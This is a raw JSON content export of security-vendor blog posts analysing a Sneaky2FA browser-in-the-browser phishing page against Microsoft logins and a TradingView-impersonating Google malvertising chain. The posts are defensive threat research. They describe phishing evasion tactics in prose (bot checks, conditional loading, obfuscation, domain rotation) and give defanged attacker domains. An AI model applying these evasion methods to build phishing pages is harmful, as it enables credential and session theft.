",{"data":110529,"content":110533,"nodeType":925},{"target":110530},{"sys":110531},{"id":110532,"type":922,"linkType":923},"7pkfAQquHrA6aUnCtj74iu",[],{"data":110535,"content":110536,"nodeType":866},{},[110537],{"data":110538,"marks":110539,"value":110540,"nodeType":865},{},[],"Upon clicking ‘Sign in with Microsoft” a reverse-proxy phishing page resembling a Microsoft login form is loaded in an embedded browser, with a custom background image designed to resemble a document library. ",{"data":110542,"content":110546,"nodeType":925},{"target":110543},{"sys":110544},{"id":110545,"type":922,"linkType":923},"782tw14AqgJ9mqneVaOdHc",[],{"data":110548,"content":110549,"nodeType":866},{},[110550],{"data":110551,"marks":110552,"value":110553,"nodeType":865},{},[],"Interestingly, the pop-up window adjusts to the visitor’s OS and browser — you can see some different examples below.",{"data":110555,"content":110559,"nodeType":925},{"target":110556},{"sys":110557},{"id":110558,"type":922,"linkType":923},"6lN9agEyeQ63LDHM1kaSqX",[],{"data":110561,"content":110562,"nodeType":866},{},[110563],{"data":110564,"marks":110565,"value":110566,"nodeType":865},{},[],"Completing authentication will result in the user’s Microsoft credentials and active session being stolen by the attacker, facilitating account takeover. ",{"data":110568,"content":110569,"nodeType":866},{},[110570],{"data":110571,"marks":110572,"value":110573,"nodeType":865},{},[],"You can see the sequence of pages loaded and Push detection events in the timeline below.",{"data":110575,"content":110579,"nodeType":925},{"target":110576},{"sys":110577},{"id":110578,"type":922,"linkType":923},"1oPpha39PMiJGUaZSptx1f",[],{"data":110581,"content":110582,"nodeType":953},{},[],{"data":110584,"content":110585,"nodeType":963},{},[110586],{"data":110587,"marks":110588,"value":110590,"nodeType":865},{},[110589],{"type":961},"Why Browser-in-the-Browser?",{"data":110592,"content":110593,"nodeType":866},{},[110594,110598,110607],{"data":110595,"marks":110596,"value":110597,"nodeType":865},{},[],"BITB was first coined as a technique in 2022 by ",{"data":110599,"content":110601,"nodeType":882},{"uri":110600},"https://mrd0x.com/browser-in-the-browser-phishing-attack/",[110602],{"data":110603,"marks":110604,"value":110606,"nodeType":865},{},[110605],{"type":997},"mr.d0x",{"data":110608,"marks":110609,"value":110610,"nodeType":865},{},[],", but standard AITM phishing pages are far more frequently encountered in the wild, particularly when it comes to enterprise business targets.",{"data":110612,"content":110613,"nodeType":866},{},[110614],{"data":110615,"marks":110616,"value":110617,"nodeType":865},{},[],"BITB is principally designed to mask suspicious phishing URLs by simulating a pretty normal function of in-browser authentication — a pop-up login form. BITB phishing pages replicate the design of a pop-up window with an iframe pointing to a malicious server. ",{"data":110619,"content":110620,"nodeType":866},{},[110621],{"data":110622,"marks":110623,"value":110624,"nodeType":865},{},[],"The pop-up browser window shows a legitimate Microsoft login URL — this is in fact a fake URL that is designed to fool the user. ",{"data":110626,"content":110630,"nodeType":925},{"target":110627},{"sys":110628},{"id":110629,"type":922,"linkType":923},"7kI5PHTr9XYQJ0xVJUnUDu",[],{"data":110632,"content":110633,"nodeType":866},{},[110634,110638,110645],{"data":110635,"marks":110636,"value":110637,"nodeType":865},{},[],"This BITB example shares many of the advantages of typical reverse-proxy based phishing pages, as well as the ",{"data":110639,"content":110640,"nodeType":882},{"uri":13634},[110641],{"data":110642,"marks":110643,"value":29898,"nodeType":865},{},[110644],{"type":997},{"data":110646,"marks":110647,"value":110648,"nodeType":865},{},[]," that are commonly used by attackers (and baked into PhaaS kits off-the-shelf). This includes:",{"data":110650,"content":110651,"nodeType":1458},{},[110652],{"data":110653,"marks":110654,"value":110656,"nodeType":865},{},[110655],{"type":961},"Bot protection to defeat web scraping tools",{"data":110658,"content":110659,"nodeType":866},{},[110660,110664,110673],{"data":110661,"marks":110662,"value":110663,"nodeType":865},{},[],"Attackers are using common ",{"data":110665,"content":110667,"nodeType":882},{"uri":110666},"https://phishing-techniques.pushsecurity.com/techniques/bot-protection/",[110668],{"data":110669,"marks":110670,"value":110672,"nodeType":865},{},[110671],{"type":997},"bot protection",{"data":110674,"marks":110675,"value":110676,"nodeType":865},{},[]," technologies like CAPTCHA and Cloudflare Turnstile to prevent security bots from accessing their web pages to be able to analyse them (and therefore block pages from being automatically flagged). This requires anyone visiting the page to pass a bot check/challenge before the page can be loaded, meaning the full page cannot be analysed by automated tools. ",{"data":110678,"content":110679,"nodeType":1458},{},[110680],{"data":110681,"marks":110682,"value":110684,"nodeType":865},{},[110683],{"type":961},"Stop unwanted visitors with conditional loading",{"data":110686,"content":110687,"nodeType":866},{},[110688,110691,110699],{"data":110689,"marks":110690,"value":21,"nodeType":865},{},[],{"data":110692,"content":110693,"nodeType":882},{"uri":70317},[110694],{"data":110695,"marks":110696,"value":110698,"nodeType":865},{},[110697],{"type":997},"Conditional loading",{"data":110700,"marks":110701,"value":110702,"nodeType":865},{},[]," techniques are used to prevent unwanted visitors from accessing the phishing page — reducing the chance that it is detected and flagged and extending the longevity of the phish. This often includes known security vendor IPs, VPN/proxy services, but is often used to target specific organizations (or even specific users within an organization). ",{"data":110704,"content":110705,"nodeType":866},{},[110706],{"data":110707,"marks":110708,"value":110709,"nodeType":865},{},[],"In this case, where the correct parameters are not supplied or the phishing site detects an unwanted variable, it will redirect to a benign wikibooks page. ",{"data":110711,"content":110715,"nodeType":925},{"target":110712},{"sys":110713},{"id":110714,"type":922,"linkType":923},"fN2XugiDIef8haTDapViT",[],{"data":110717,"content":110718,"nodeType":866},{},[110719,110723,110731,110735,110744],{"data":110720,"marks":110721,"value":110722,"nodeType":865},{},[],"Sneaky2FA has also been commonly observed using ",{"data":110724,"content":110725,"nodeType":882},{"uri":107839},[110726],{"data":110727,"marks":110728,"value":110730,"nodeType":865},{},[110729],{"type":997},"anti-analysis",{"data":110732,"marks":110733,"value":110734,"nodeType":865},{},[]," techniques to detect or ",{"data":110736,"content":110738,"nodeType":882},{"uri":110737},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=Sneaky%202FA%20pages%20use%20anti,we%20identified%20as%20Sneaky%202FA",[110739],{"data":110740,"marks":110741,"value":110743,"nodeType":865},{},[110742],{"type":997},"disable browser developer tools",{"data":110745,"marks":110746,"value":110747,"nodeType":865},{},[]," to block attempts to analyse the page for malicious content. ",{"data":110749,"content":110750,"nodeType":1458},{},[110751],{"data":110752,"marks":110753,"value":110755,"nodeType":865},{},[110754],{"type":961},"Page and code obfuscation",{"data":110757,"content":110758,"nodeType":866},{},[110759,110763,110772,110776,110785],{"data":110760,"marks":110761,"value":110762,"nodeType":865},{},[],"The HTML and JavaScript of Sneaky2FA pages are ",{"data":110764,"content":110766,"nodeType":882},{"uri":110765},"https://phishing-techniques.pushsecurity.com/techniques/page-obfuscation/",[110767],{"data":110768,"marks":110769,"value":110771,"nodeType":865},{},[110770],{"type":997},"heavily obfuscated",{"data":110773,"marks":110774,"value":110775,"nodeType":865},{},[]," to evade static detection and pattern-matching, ",{"data":110777,"content":110779,"nodeType":882},{"uri":110778},"https://blog.sekoia.io/sneaky-2fa-exposing-a-new-aitm-phishing-as-a-service/#:~:text=,%E2%80%9CNo%20account%3F%E2%80%9D%20and%20%E2%80%9CSign%20in%E2%80%9D",[110780],{"data":110781,"marks":110782,"value":110784,"nodeType":865},{},[110783],{"type":997},"such as",{"data":110786,"marks":110787,"value":110788,"nodeType":865},{},[]," breaking up UI text with invisible tags, embedding background and interface elements as encoded images instead of text, and other changes that are invisible to the user, but make it hard for scanning tools to fingerprint the page. ",{"data":110790,"content":110791,"nodeType":1458},{},[110792],{"data":110793,"marks":110794,"value":110796,"nodeType":865},{},[110795],{"type":961},"Domain rotation and URL masking",{"data":110798,"content":110799,"nodeType":866},{},[110800,110804,110813],{"data":110801,"marks":110802,"value":110803,"nodeType":865},{},[],"In addition to masking the phishing site URL presented to the user via the BITB window, Sneaky2FA has been seen using ",{"data":110805,"content":110807,"nodeType":882},{"uri":110806},"https://www.centripetal.ai/threat-research/typhoon-versus-sneaky",[110808],{"data":110809,"marks":110810,"value":110812,"nodeType":865},{},[110811],{"type":997},"stealthy hosting and domain tactics",{"data":110814,"marks":110815,"value":110816,"nodeType":865},{},[],". Each campaign uses a fresh, long, randomized URL (typically a 150-character path) on a benign-looking domain (often an old or compromised site). These domains are usually short-lived: many are taken down after just a few days or weeks. Analysts have observed that Sneaky2FA domains often lie dormant or serve harmless content until right before an attack, then quickly vanish after use. This “burn-and-replace” approach makes traditional defenses (which rely on domain reputation or pattern-matching) much weaker.",{"data":110818,"content":110821,"nodeType":925},{"target":110819},{"sys":110820},{"id":71049,"type":922,"linkType":923},[],{"data":110823,"content":110824,"nodeType":953},{},[],{"data":110826,"content":110827,"nodeType":963},{},[110828],{"data":110829,"marks":110830,"value":110832,"nodeType":865},{},[110831],{"type":961},"Are attackers moving to BITB? ",{"data":110834,"content":110835,"nodeType":866},{},[110836,110840,110849],{"data":110837,"marks":110838,"value":110839,"nodeType":865},{},[],"There is evidence that Sneaky2FAs shift to BITB might not be an isolated change. Raccoon0365 is another PhaaS service that has been seen utilizing BITB functionality after ",{"data":110841,"content":110843,"nodeType":882},{"uri":110842},"https://www.cloudflare.com/en-gb/threat-intelligence/research/report/cloudflare-participates-in-global-operation-to-disrupt-raccoono365/",[110844],{"data":110845,"marks":110846,"value":110848,"nodeType":865},{},[110847],{"type":997},"announcing a “BITB mini-panel”",{"data":110850,"marks":110851,"value":110852,"nodeType":865},{},[]," would be added as part of a service revamp. ",{"data":110854,"content":110858,"nodeType":925},{"target":110855},{"sys":110856},{"id":110857,"type":922,"linkType":923},"2sJUR9TVbZMU1v10Tq94Pz",[],{"data":110860,"content":110861,"nodeType":953},{},[],{"data":110863,"content":110864,"nodeType":963},{},[110865],{"data":110866,"marks":110867,"value":100217,"nodeType":865},{},[110868],{"type":961},{"data":110870,"content":110871,"nodeType":866},{},[110872],{"data":110873,"marks":110874,"value":110875,"nodeType":865},{},[],"Attackers are continuously innovating their phishing techniques, particularly in the context of an increasingly professionalized PhaaS ecosystem. With identity-based attacks continuing to be the leading cause of breaches, attackers are incentivized to refine and enhance their phishing infrastructure. ",{"data":110877,"content":110878,"nodeType":866},{},[110879],{"data":110880,"marks":110881,"value":110882,"nodeType":865},{},[],"The addition of BITB, with the frequent iteration and improvement of detection evasion techniques, means that traditional security controls such as email gateways, web filters, and signature-based defenses will continue to be reliably bypassed. ",{"data":110884,"content":110885,"nodeType":953},{},[],{"data":110887,"content":110888,"nodeType":963},{},[110889],{"data":110890,"marks":110891,"value":3604,"nodeType":865},{},[110892],{"type":961},{"data":110894,"content":110895,"nodeType":866},{},[110896],{"data":110897,"marks":110898,"value":108019,"nodeType":865},{},[],{"data":110900,"content":110901,"nodeType":866},{},[110902],{"data":110903,"marks":110904,"value":110905,"nodeType":865},{},[],"Despite the various detection evasion techniques, and the use of BITB methods, Push still detected this toolkit running on the page, enabling any attack to be detected and blocked before the user could be phished. Because we can inspect the live page, we detect malicious content loaded in the browser in real time. ",{"data":110907,"content":110908,"nodeType":866},{},[110909,110912,110918,110921,110927],{"data":110910,"marks":110911,"value":32401,"nodeType":865},{},[],{"data":110913,"content":110914,"nodeType":882},{"uri":22700},[110915],{"data":110916,"marks":110917,"value":22706,"nodeType":865},{},[],{"data":110919,"marks":110920,"value":71034,"nodeType":865},{},[],{"data":110922,"content":110923,"nodeType":882},{"uri":1728},[110924],{"data":110925,"marks":110926,"value":22730,"nodeType":865},{},[],{"data":110928,"marks":110929,"value":1048,"nodeType":865},{},[],{"data":110931,"content":110934,"nodeType":925},{"target":110932},{"sys":110933},{"id":71049,"type":922,"linkType":923},[],{"data":110936,"content":110937,"nodeType":866},{},[110938],{"data":110939,"marks":110940,"value":21,"nodeType":865},{},[],"Analyzing a BITB phishing page linked to the Sneaky2FA Phishing-as-a-Service operation. ","2025-11-18T00:00:00.000Z",{"items":110944},[110945,110947],{"sys":110946,"name":11426},{"id":11425},{"sys":110948,"name":342},{"id":8410},{"items":110950},[110951],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":110952},{"url":11434},{"__typename":1788,"sys":110954,"content":110955,"title":94407,"synopsis":94408,"hashTags":59,"publishedDate":94409,"slug":94410,"tagsCollection":111452,"authorsCollection":111458},{"id":93833},{"json":110956},{"data":110957,"content":110958,"nodeType":1739},{},[110959,110965,110971,110981,110986,110992,110995,111002,111008,111013,111026,111032,111053,111059,111064,111067,111074,111100,111105,111121,111126,111142,111148,111153,111156,111163,111169,111185,111191,111207,111213,111218,111221,111228,111234,111264,111270,111276,111316,111331,111340,111346,111349,111356,111372,111378,111384,111389,111392,111399,111415,111441,111446],{"data":110960,"content":110961,"nodeType":866},{},[110962],{"data":110963,"marks":110964,"value":93844,"nodeType":865},{},[],{"data":110966,"content":110967,"nodeType":866},{},[110968],{"data":110969,"marks":110970,"value":93851,"nodeType":865},{},[],{"data":110972,"content":110973,"nodeType":866},{},[110974,110977],{"data":110975,"marks":110976,"value":93858,"nodeType":865},{},[],{"data":110978,"marks":110979,"value":93863,"nodeType":865},{},[110980],{"type":961},{"data":110982,"content":110985,"nodeType":925},{"target":110983},{"sys":110984},{"id":70496,"type":922,"linkType":923},[],{"data":110987,"content":110988,"nodeType":866},{},[110989],{"data":110990,"marks":110991,"value":93875,"nodeType":865},{},[],{"data":110993,"content":110994,"nodeType":953},{},[],{"data":110996,"content":110997,"nodeType":963},{},[110998],{"data":110999,"marks":111000,"value":93886,"nodeType":865},{},[111001],{"type":961},{"data":111003,"content":111004,"nodeType":866},{},[111005],{"data":111006,"marks":111007,"value":93893,"nodeType":865},{},[],{"data":111009,"content":111012,"nodeType":925},{"target":111010},{"sys":111011},{"id":93898,"type":922,"linkType":923},[],{"data":111014,"content":111015,"nodeType":866},{},[111016,111019,111023],{"data":111017,"marks":111018,"value":93906,"nodeType":865},{},[],{"data":111020,"marks":111021,"value":93911,"nodeType":865},{},[111022],{"type":961},{"data":111024,"marks":111025,"value":93915,"nodeType":865},{},[],{"data":111027,"content":111028,"nodeType":866},{},[111029],{"data":111030,"marks":111031,"value":93922,"nodeType":865},{},[],{"data":111033,"content":111034,"nodeType":1049},{},[111035,111044],{"data":111036,"content":111037,"nodeType":1003},{},[111038],{"data":111039,"content":111040,"nodeType":866},{},[111041],{"data":111042,"marks":111043,"value":93935,"nodeType":865},{},[],{"data":111045,"content":111046,"nodeType":1003},{},[111047],{"data":111048,"content":111049,"nodeType":866},{},[111050],{"data":111051,"marks":111052,"value":93945,"nodeType":865},{},[],{"data":111054,"content":111055,"nodeType":866},{},[111056],{"data":111057,"marks":111058,"value":93952,"nodeType":865},{},[],{"data":111060,"content":111063,"nodeType":925},{"target":111061},{"sys":111062},{"id":93957,"type":922,"linkType":923},[],{"data":111065,"content":111066,"nodeType":953},{},[],{"data":111068,"content":111069,"nodeType":963},{},[111070],{"data":111071,"marks":111072,"value":93969,"nodeType":865},{},[111073],{"type":961},{"data":111075,"content":111076,"nodeType":866},{},[111077,111080,111087,111090,111097],{"data":111078,"marks":111079,"value":93976,"nodeType":865},{},[],{"data":111081,"content":111082,"nodeType":882},{"uri":70507},[111083],{"data":111084,"marks":111085,"value":93984,"nodeType":865},{},[111086],{"type":997},{"data":111088,"marks":111089,"value":93988,"nodeType":865},{},[],{"data":111091,"content":111092,"nodeType":882},{"uri":93991},[111093],{"data":111094,"marks":111095,"value":93997,"nodeType":865},{},[111096],{"type":997},{"data":111098,"marks":111099,"value":94001,"nodeType":865},{},[],{"data":111101,"content":111104,"nodeType":925},{"target":111102},{"sys":111103},{"id":94006,"type":922,"linkType":923},[],{"data":111106,"content":111107,"nodeType":866},{},[111108,111111,111118],{"data":111109,"marks":111110,"value":94014,"nodeType":865},{},[],{"data":111112,"content":111113,"nodeType":882},{"uri":94017},[111114],{"data":111115,"marks":111116,"value":94023,"nodeType":865},{},[111117],{"type":997},{"data":111119,"marks":111120,"value":22525,"nodeType":865},{},[],{"data":111122,"content":111125,"nodeType":925},{"target":111123},{"sys":111124},{"id":94031,"type":922,"linkType":923},[],{"data":111127,"content":111128,"nodeType":866},{},[111129,111132,111139],{"data":111130,"marks":111131,"value":94039,"nodeType":865},{},[],{"data":111133,"content":111134,"nodeType":882},{"uri":94042},[111135],{"data":111136,"marks":111137,"value":29898,"nodeType":865},{},[111138],{"type":997},{"data":111140,"marks":111141,"value":94051,"nodeType":865},{},[],{"data":111143,"content":111144,"nodeType":866},{},[111145],{"data":111146,"marks":111147,"value":94058,"nodeType":865},{},[],{"data":111149,"content":111152,"nodeType":925},{"target":111150},{"sys":111151},{"id":94063,"type":922,"linkType":923},[],{"data":111154,"content":111155,"nodeType":953},{},[],{"data":111157,"content":111158,"nodeType":963},{},[111159],{"data":111160,"marks":111161,"value":94075,"nodeType":865},{},[111162],{"type":961},{"data":111164,"content":111165,"nodeType":866},{},[111166],{"data":111167,"marks":111168,"value":94082,"nodeType":865},{},[],{"data":111170,"content":111171,"nodeType":866},{},[111172,111175,111182],{"data":111173,"marks":111174,"value":94089,"nodeType":865},{},[],{"data":111176,"content":111177,"nodeType":882},{"uri":94092},[111178],{"data":111179,"marks":111180,"value":94098,"nodeType":865},{},[111181],{"type":997},{"data":111183,"marks":111184,"value":94102,"nodeType":865},{},[],{"data":111186,"content":111187,"nodeType":866},{},[111188],{"data":111189,"marks":111190,"value":94109,"nodeType":865},{},[],{"data":111192,"content":111193,"nodeType":866},{},[111194,111197,111204],{"data":111195,"marks":111196,"value":94116,"nodeType":865},{},[],{"data":111198,"content":111199,"nodeType":882},{"uri":94119},[111200],{"data":111201,"marks":111202,"value":94125,"nodeType":865},{},[111203],{"type":997},{"data":111205,"marks":111206,"value":94129,"nodeType":865},{},[],{"data":111208,"content":111209,"nodeType":866},{},[111210],{"data":111211,"marks":111212,"value":94136,"nodeType":865},{},[],{"data":111214,"content":111217,"nodeType":925},{"target":111215},{"sys":111216},{"id":94141,"type":922,"linkType":923},[],{"data":111219,"content":111220,"nodeType":953},{},[],{"data":111222,"content":111223,"nodeType":963},{},[111224],{"data":111225,"marks":111226,"value":94153,"nodeType":865},{},[111227],{"type":961},{"data":111229,"content":111230,"nodeType":866},{},[111231],{"data":111232,"marks":111233,"value":94160,"nodeType":865},{},[],{"data":111235,"content":111236,"nodeType":1049},{},[111237,111246,111255],{"data":111238,"content":111239,"nodeType":1003},{},[111240],{"data":111241,"content":111242,"nodeType":866},{},[111243],{"data":111244,"marks":111245,"value":94173,"nodeType":865},{},[],{"data":111247,"content":111248,"nodeType":1003},{},[111249],{"data":111250,"content":111251,"nodeType":866},{},[111252],{"data":111253,"marks":111254,"value":94183,"nodeType":865},{},[],{"data":111256,"content":111257,"nodeType":1003},{},[111258],{"data":111259,"content":111260,"nodeType":866},{},[111261],{"data":111262,"marks":111263,"value":94193,"nodeType":865},{},[],{"data":111265,"content":111266,"nodeType":866},{},[111267],{"data":111268,"marks":111269,"value":94200,"nodeType":865},{},[],{"data":111271,"content":111272,"nodeType":866},{},[111273],{"data":111274,"marks":111275,"value":94207,"nodeType":865},{},[],{"data":111277,"content":111278,"nodeType":1049},{},[111279,111298,111307],{"data":111280,"content":111281,"nodeType":1003},{},[111282],{"data":111283,"content":111284,"nodeType":866},{},[111285,111288,111295],{"data":111286,"marks":111287,"value":94220,"nodeType":865},{},[],{"data":111289,"content":111290,"nodeType":882},{"uri":94223},[111291],{"data":111292,"marks":111293,"value":94229,"nodeType":865},{},[111294],{"type":997},{"data":111296,"marks":111297,"value":94233,"nodeType":865},{},[],{"data":111299,"content":111300,"nodeType":1003},{},[111301],{"data":111302,"content":111303,"nodeType":866},{},[111304],{"data":111305,"marks":111306,"value":94243,"nodeType":865},{},[],{"data":111308,"content":111309,"nodeType":1003},{},[111310],{"data":111311,"content":111312,"nodeType":866},{},[111313],{"data":111314,"marks":111315,"value":94253,"nodeType":865},{},[],{"data":111317,"content":111318,"nodeType":866},{},[111319,111322,111328],{"data":111320,"marks":111321,"value":94260,"nodeType":865},{},[],{"data":111323,"content":111324,"nodeType":882},{"uri":74512},[111325],{"data":111326,"marks":111327,"value":94267,"nodeType":865},{},[],{"data":111329,"marks":111330,"value":94271,"nodeType":865},{},[],{"data":111332,"content":111333,"nodeType":11214},{},[111334],{"data":111335,"content":111336,"nodeType":866},{},[111337],{"data":111338,"marks":111339,"value":94281,"nodeType":865},{},[],{"data":111341,"content":111342,"nodeType":866},{},[111343],{"data":111344,"marks":111345,"value":94288,"nodeType":865},{},[],{"data":111347,"content":111348,"nodeType":953},{},[],{"data":111350,"content":111351,"nodeType":963},{},[111352],{"data":111353,"marks":111354,"value":94299,"nodeType":865},{},[111355],{"type":961},{"data":111357,"content":111358,"nodeType":866},{},[111359,111362,111369],{"data":111360,"marks":111361,"value":94306,"nodeType":865},{},[],{"data":111363,"content":111364,"nodeType":882},{"uri":94309},[111365],{"data":111366,"marks":111367,"value":94315,"nodeType":865},{},[111368],{"type":997},{"data":111370,"marks":111371,"value":94319,"nodeType":865},{},[],{"data":111373,"content":111374,"nodeType":866},{},[111375],{"data":111376,"marks":111377,"value":94326,"nodeType":865},{},[],{"data":111379,"content":111380,"nodeType":866},{},[111381],{"data":111382,"marks":111383,"value":94333,"nodeType":865},{},[],{"data":111385,"content":111388,"nodeType":925},{"target":111386},{"sys":111387},{"id":94338,"type":922,"linkType":923},[],{"data":111390,"content":111391,"nodeType":953},{},[],{"data":111393,"content":111394,"nodeType":963},{},[111395],{"data":111396,"marks":111397,"value":16192,"nodeType":865},{},[111398],{"type":961},{"data":111400,"content":111401,"nodeType":866},{},[111402,111405,111412],{"data":111403,"marks":111404,"value":94356,"nodeType":865},{},[],{"data":111406,"content":111407,"nodeType":882},{"uri":94359},[111408],{"data":111409,"marks":111410,"value":94365,"nodeType":865},{},[111411],{"type":997},{"data":111413,"marks":111414,"value":94369,"nodeType":865},{},[],{"data":111416,"content":111417,"nodeType":866},{},[111418,111421,111428,111431,111438],{"data":111419,"marks":111420,"value":32401,"nodeType":865},{},[],{"data":111422,"content":111423,"nodeType":882},{"uri":22700},[111424],{"data":111425,"marks":111426,"value":22706,"nodeType":865},{},[111427],{"type":997},{"data":111429,"marks":111430,"value":71034,"nodeType":865},{},[],{"data":111432,"content":111433,"nodeType":882},{"uri":1728},[111434],{"data":111435,"marks":111436,"value":22730,"nodeType":865},{},[111437],{"type":997},{"data":111439,"marks":111440,"value":1048,"nodeType":865},{},[],{"data":111442,"content":111445,"nodeType":925},{"target":111443},{"sys":111444},{"id":93957,"type":922,"linkType":923},[],{"data":111447,"content":111448,"nodeType":866},{},[111449],{"data":111450,"marks":111451,"value":21,"nodeType":865},{},[],{"items":111453},[111454,111456],{"sys":111455,"name":342},{"id":8410},{"sys":111457,"name":11426},{"id":11425},{"items":111459},[111460],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":111461},{"url":11434},"blog/consentfix",{"json":111464},{"data":111465,"content":111466,"nodeType":1739},{},[111467],{"data":111468,"content":111469,"nodeType":866},{},[111470],{"data":111471,"marks":111472,"value":111473,"nodeType":865},{},[],"We recently intercepted a phishing campaign using a new kind of attack technique that we’re calling “ConsentFix” — combining OAuth consent phishing with a ClickFix-style user prompt that leads to account compromise. Here's what you need to know.",{"id":15510,"publishedAt":111475},"2026-08-12T11:53:26.585Z",{"items":111477},[111478,111480],{"sys":111479,"name":11426},{"id":11425},{"sys":111481,"name":342},{"id":8410},{"items":111483},[111484,111486,111488,111490,111492,111494],{"sys":111485,"name":279,"slug":280,"tier":31},{"id":276},{"sys":111487,"name":519,"slug":520,"tier":31},{"id":516},{"sys":111489,"name":315,"slug":316,"tier":45},{"id":312},{"sys":111491,"name":484,"slug":485,"tier":45},{"id":481},{"sys":111493,"name":466,"slug":467,"tier":45},{"id":463},{"sys":111495,"name":493,"slug":494,"tier":45},{"id":490},"Xu_kH8ft7E7dewNA1M7IE5Dg3Fqi7IerHhbCAoWPUYA",{"id":111498,"title":111499,"authorsCollection":111500,"content":111505,"extension":228,"faqItemsCollection":112045,"faqTitle":59,"featured":6,"hashTags":59,"meta":112047,"metaTitle":112048,"ogImage":59,"postType":21460,"publishedDate":112049,"relatedBlogPostsCollection":112050,"slug":113461,"stem":113462,"subtitle":59,"summary":113463,"synopsis":113474,"sys":113475,"tagsCollection":113478,"topicsCollection":113484,"__hash__":113512},"blog/blog/analysing-a-sophisticated-google-malvertising-attack.json","Analysing a sophisticated Google malvertising attack impersonating TradingView",{"items":111501},[111502],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":111503,"profilePicture":111504},[17536],{"url":11434},{"json":111506,"links":111926},{"data":111507,"content":111508,"nodeType":1739},{},[111509,111516,111523,111530,111537,111543,111546,111553,111560,111566,111573,111579,111585,111592,111598,111605,111611,111618,111624,111627,111635,111653,111661,111679,111697,111703,111711,111729,111735,111741,111748,111751,111759,111778,111784,111791,111794,111801,111817,111823,111856,111859,111866,111882,111889,111915,111920],{"data":111510,"content":111511,"nodeType":866},{},[111512],{"data":111513,"marks":111514,"value":111515,"nodeType":865},{},[],"We recently detected and blocked a particularly well-crafted malvertising attack targeting one of our customers. ",{"data":111517,"content":111518,"nodeType":866},{},[111519],{"data":111520,"marks":111521,"value":111522,"nodeType":865},{},[],"The employee had searched for “tradingview” on Google and been served a malicious ad impersonating the real site, which they had clicked. ",{"data":111524,"content":111525,"nodeType":866},{},[111526],{"data":111527,"marks":111528,"value":111529,"nodeType":865},{},[],"As well as being a highly convincing clone of the real site, this attack demonstrated a number of creative detection evasion techniques designed to prevent security tools, analysts, and web scraping bots from flagging it as malicious. ",{"data":111531,"content":111532,"nodeType":866},{},[111533],{"data":111534,"marks":111535,"value":111536,"nodeType":865},{},[],"You can see a narrated clickthrough of the end-to-end attack in the video below. ",{"data":111538,"content":111542,"nodeType":925},{"target":111539},{"sys":111540},{"id":111541,"type":922,"linkType":923},"V8NYoNBZBSZXSNBo2AfUZ",[],{"data":111544,"content":111545,"nodeType":953},{},[],{"data":111547,"content":111548,"nodeType":963},{},[111549],{"data":111550,"marks":111551,"value":90055,"nodeType":865},{},[111552],{"type":961},{"data":111554,"content":111555,"nodeType":866},{},[111556],{"data":111557,"marks":111558,"value":111559,"nodeType":865},{},[],"When the victim clicked the malicious ad, they were initially directed to tradingview-charts-compare.primevoro[.]com, but then immediately redirected to a second site. In effect, the victim would never see this initial page — it is simply used as a benign site that only forwards the victim on if certain parameters are supplied from the initial Google ad link. ",{"data":111561,"content":111565,"nodeType":925},{"target":111562},{"sys":111563},{"id":111564,"type":922,"linkType":923},"1v5dADDY2y9EAwCZ7ZnWVi",[],{"data":111567,"content":111568,"nodeType":866},{},[111569],{"data":111570,"marks":111571,"value":111572,"nodeType":865},{},[],"The first site that the victim would see is visually identical to the real TradingView site, at tradingplatforms[.]app. ",{"data":111574,"content":111578,"nodeType":925},{"target":111575},{"sys":111576},{"id":111577,"type":922,"linkType":923},"iHIbILX30HMnqM4NXx86G",[],{"data":111580,"content":111584,"nodeType":925},{"target":111581},{"sys":111582},{"id":111583,"type":922,"linkType":923},"2nK9Y4ZFejHtbWT2GcVNM1",[],{"data":111586,"content":111587,"nodeType":866},{},[111588],{"data":111589,"marks":111590,"value":111591,"nodeType":865},{},[],"Upon clicking the login button, they are taken to another convincingly designed page, where the victim is prompted to sign in with Google. ",{"data":111593,"content":111597,"nodeType":925},{"target":111594},{"sys":111595},{"id":111596,"type":922,"linkType":923},"6il7lhKUz5VIgQW9shl9oc",[],{"data":111599,"content":111600,"nodeType":866},{},[111601],{"data":111602,"marks":111603,"value":111604,"nodeType":865},{},[],"Upon clicking the sign in with Google button, the victim is finally taken to the reverse proxy Attacker-in-the-Middle phishing page targeting Google. If the victim logs in, their credentials and live session is stolen by the attacker. ",{"data":111606,"content":111610,"nodeType":925},{"target":111607},{"sys":111608},{"id":111609,"type":922,"linkType":923},"3LSrYN6X2qnBiMBoPi1Qse",[],{"data":111612,"content":111613,"nodeType":866},{},[111614],{"data":111615,"marks":111616,"value":111617,"nodeType":865},{},[],"You can see the timeline of URLs accessed in the chain captured in Push’s timeline feature, below. When we investigated, the phishing page had no user reports on urlscan. ",{"data":111619,"content":111623,"nodeType":925},{"target":111620},{"sys":111621},{"id":111622,"type":922,"linkType":923},"5spFXtWBhTtB4LO3cYHv8Z",[],{"data":111625,"content":111626,"nodeType":953},{},[],{"data":111628,"content":111629,"nodeType":963},{},[111630],{"data":111631,"marks":111632,"value":111634,"nodeType":865},{},[111633],{"type":961},"How did this attack evade standard detections?",{"data":111636,"content":111637,"nodeType":866},{},[111638,111642,111649],{"data":111639,"marks":111640,"value":111641,"nodeType":865},{},[],"It’s increasingly common for malicious sites to fly under the radar because of the effective use of ",{"data":111643,"content":111644,"nodeType":882},{"uri":13634},[111645],{"data":111646,"marks":111647,"value":29898,"nodeType":865},{},[111648],{"type":997},{"data":111650,"marks":111651,"value":111652,"nodeType":865},{},[],", designed to defeat traditional security tools and web-scraping security bots. ",{"data":111654,"content":111655,"nodeType":1458},{},[111656],{"data":111657,"marks":111658,"value":111660,"nodeType":865},{},[111659],{"type":961},"Malvertising completely bypasses email-based controls",{"data":111662,"content":111663,"nodeType":866},{},[111664,111668,111675],{"data":111665,"marks":111666,"value":111667,"nodeType":865},{},[],"By delivering the lure via ",{"data":111669,"content":111670,"nodeType":882},{"uri":70507},[111671],{"data":111672,"marks":111673,"value":441,"nodeType":865},{},[111674],{"type":997},{"data":111676,"marks":111677,"value":111678,"nodeType":865},{},[],", the attacker was able to completely bypass the most common phishing detection surface — email. ",{"data":111680,"content":111681,"nodeType":866},{},[111682,111686,111693],{"data":111683,"marks":111684,"value":111685,"nodeType":865},{},[],"Malvertising via channels like Google Search is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches 